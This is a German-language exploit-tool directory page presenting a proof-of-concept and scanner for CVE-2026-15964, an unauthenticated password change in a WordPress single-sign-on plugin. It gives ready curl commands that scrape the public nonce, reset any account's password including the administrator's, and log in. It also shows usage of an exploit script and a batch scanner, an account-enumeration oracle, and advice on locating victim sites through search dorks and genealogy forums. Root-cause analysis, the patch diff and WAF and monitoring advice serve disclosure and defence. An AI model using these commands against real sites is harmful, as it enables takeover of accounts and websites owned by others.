Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentifizierung & AutorisierungPrivilege EscalationWeb-SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC & Checker für CVE-2026-15964 – nicht authentifizierte Passwortänderung im WordPress-Plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Repository anzeigen
16vor 1 MonatNoch nicht geprüft

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Nicht authentifizierte Privilegienerweiterung durch ungeprüfte Passwortänderung im WordPress-Plugin Single Sign On For TNG.

SchweregradKritisch (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Ungeprüfte Passwortänderung)
BetroffenPlugin-Versionen 1.0.0 bis 2.0.0
Behoben in2.1.0 (veröffentlicht am 2026-07-27)
Veröffentlicht2026-08-01
Authentifizierung erforderlichkeine (wp_ajax_nopriv_ssoprocess_ajax)
AuswirkungPasswort von jedem WordPress-Konto ändern, einschließlich Administratoren - vollständige Übernahme der Website
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

Kurzfassung

Jeder nicht authentifizierte Besucher kann das Passwort eines beliebigen Kontos auf einer Website ändern, auf der das Plugin in Version 2.0.0 oder früher läuft. Zwei HTTP-Anfragen:

  1. Rufe die Startseite per GET auf und kopiere die Nonce aus dem SSOPWDREQUIREMENT-JavaScript-Objekt.
  2. Sende sie per POST an admin-ajax.php mit operation=setnewpassword, einer Opfer-E-Mail-Adresse und einem neuen Passwort.

Der WordPress-Kern übernimmt mit reset_password() den Rest. Kein Token, kein E-Mail-Bestätigungslink, keine Berechtigungsprüfung. Danach als Administrator anmelden.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Warum das funktioniert

Der Handler ist für nicht authentifizierte Benutzer registriert

In single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* bedeutet, dass der Handler ohne jegliche Sitzung erreichbar ist.

Die einzige Absicherung ist eine Nonce, die das Plugin jedem Besucher aushändigt

load_scripts() ist an wp_enqueue_scripts angehängt, daher gibt das Plugin auf jeder Frontend-Seite Folgendes in das HTML aus:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Das wird wie folgt dargestellt:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

Und der Handler prüft es so:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

Der Haken: WordPress berechnet Nonces mit wp_create_nonce($action) anhand von uid und dem Sitzungstoken. Für abgemeldete Besucher sind das 0 und ein leerer String, was bedeutet, dass jeder anonyme Besucher exakt dieselbe Nonce erhält. Sie wird nur alle 12 Stunden neu erzeugt (der Nonce-Tick). Die Nonce, die das Plugin für jeden Besucher ausgibt, ist also auch für den Angreifer gültig - es gibt kein Geheimnis zu stehlen, es wird direkt auf der Seite veröffentlicht.

Und dann die eigentliche Änderung, ohne jeden Inhaberschaftsnachweis

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() ist eine Kernfunktion von WordPress. Sie setzt den neuen Hash, meldet das Opfer aus allen anderen Sitzungen ab und löst die Aktionen password_reset / after_password_reset aus. Sie wird hier aufgerufen, ohne dass irgendetwas belegt, dass der Aufrufer der Kontoinhaber ist.

Zwei zusätzliche Punkte, die man kennen sollte:

  • Keine serverseitige Prüfung der Passwortstärke auf diesem Pfad. Die Regeln MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC des Plugins werden nur in validate_form() für Forminator-Formulare durchgesetzt, niemals hier. Jedes Passwort wird akzeptiert.
  • Konto-Enumeration. {"success":true} vs. {"success":false} verrät, ob eine E-Mail-Adresse registriert ist. Der --enum-only-Modus des Checkers nutzt das.
  • Bonus-Bug in derselben Funktion: operation=set_tzoffset ruft update_option('localtzoffset', $post['timezoneoffset']) ohne Authentifizierung auf. Nicht direkt für RCE ausnutzbar, aber es ist ein Schreiben von Optionen ohne Authentifizierung und im Write-up erwähnenswert.

Was sich in 2.1.0 geändert hat

Der Vergleich von 2.0.0 mit 2.1.0 macht den Fix offensichtlich (und bestätigt den Bug):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

plus, in newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

In 2.1.0 sieht der Ablauf also so aus: Eine echte Wiederherstellungsanfrage speichert einen benutzerspezifischen custom_recovery_token und eine custom_recovery_nonce in den Benutzer-Metadaten, der Wiederherstellungslink enthält die Benutzer-ID, das Formular validiert beides, und der AJAX-Handler weigert sich zu laufen, sobald das Wiederherstellungsfenster (timeout) abgelaufen ist. Ein Angreifer, der keinen gültigen Wiederherstellungsdatensatz vorweisen kann, kann setnewpassword nicht mehr auslösen.


Reproduktion (manuell)

Schritt 1 - die Nonce auslesen

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Schritt 2 - das Passwort ändern

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Erwartete Antwort auf einer verwundbaren Installation: {"success":true}

Schritt 3 - anmelden

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit für einzelne Websites. Nicht-destruktive Modi sind enthalten.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Checker: CVE-2026-15964-checker.py

Batch-Scanner für eigene Website-Listen. Designbedingt nicht-destruktiv - er ändert niemals ein Passwort.

So stuft er jede Website ein:

  1. HTML-Fingerprint - SSOPWDREQUIREMENT-Objekt oder die Asset-Pfade /wp-content/plugins/single-sign-on-for-tng/ in der Startseite.
  2. Version - Zeile Stable tag: in readme.txt. <= 2.0.0 ist verwundbar, >= 2.1.0 ist gepatcht. Dies ist laut CVE maßgeblich.
  3. Verhaltensprobe (--probe, nur wenn die Version nicht gelesen werden kann) - sendet operation=setnewpassword mit einer nicht existierenden E-Mail-Adresse. Eine 2.0.0-Installation antwortet mit {"success":false} und keiner Fehlermeldung; eine 2.1.0-Installation antwortet mit der Meldung "time to submit the new password expired". Eine echte E-Mail wird nie gesendet - das Senden einer solchen würde tatsächlich das Passwort zurücksetzen.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Beispielausgabe:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Bewertungen: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN bedeutet in der Regel eine WAF, einen aggressiven CDN-Cache oder eine Website, die die readme blockiert - solche Fälle manuell prüfen.


Testen der Tools lokal

tests/mock_server.py emuliert sechs Fälle (verwundbar per Version, gepatcht per Version, verwundbar per Probe, gepatcht per Probe, WordPress ohne das Plugin, kein WordPress). So wurde die Logik des Checkers validiert, bevor sie auf etwas Echtes gerichtet wurde:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt installiert die einzige Abhängigkeit (requests).


Anmerkungen aus der Praxis

Ehrlicher Kontext, weil er beeinflusst, wie du das einsetzt.

  • Dieses Plugin richtet sich an TNG (The Next Generation of Genealogy Sitebuilding), also Hobby-Genealogie-Websites. Es ist ein sehr kleines Ökosystem: etwa 1.600 Downloads insgesamt auf wordpress.org, aktive Installationen verborgen (< 10), Erstveröffentlichung Oktober 2024.
  • Da 2.1.0 erst am 2026-07-27 erschienen ist, ist die überwältigende Mehrheit der Downloads verwundbare Versionen. Wenn du überhaupt eine Installation findest, ist sie sehr wahrscheinlich weiterhin verwundbar.
  • Das Auffinden ist der schwierige Teil. Das Plugin hinterlässt keinerlei Spuren im Shodan-Index (ich habe jeden mir bekannten Fingerprint geprüft - null Ergebnisse), und selbst das Fingerprinting der Top-1.000-WordPress-Hosts, die Shodan liefert, ergab keine Installationen. Die besten Quellen sind: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" in Suchmaschinen, die den vollständigen Seitenquelltext indexieren (PublicWWW, Censys, FOFA), und die TNG-Community selbst (tngsitebuilding.com, Genealogie-Foren).
  • Der UNKNOWN-Bereich des Checkers wird bei echten genealogischen Websites vergleichsweise groß sein - viele laufen hinter aggressivem Caching oder blockieren readme.txt. Werte das nicht als „nicht verwundbar"; prüfe von Hand.

Erkennung & Behebung

  • Auf 2.1.0 aktualisieren (oder das Plugin vollständig entfernen).
  • WAF-Regel: Lehne admin-ajax.php-POSTs ab, bei denen action=ssoprocess_ajax nicht aus einer authentifizierten Sitzung stammt; alarmiere bei setnewpassword aus anonymen Quellen.
  • Überwache Änderungen des wp_users.user_pass-Hashwerts und die Aktionen password_reset / after_password_reset; achte auf Administrator-Anmeldungen unmittelbar nach einer Passwortänderung.
  • Behandle ssoajaxnonce als öffentliches Wissen - das war es schon immer.

Referenzen

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Verwundbare Quelle (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Behobene Quelle (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Haftungsausschluss

Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Du bist für deine eigenen Handlungen verantwortlich. Führe diese Tools nicht gegen Systeme aus, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Erlaubnis zum Testen hast. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat.

Tool herunterladen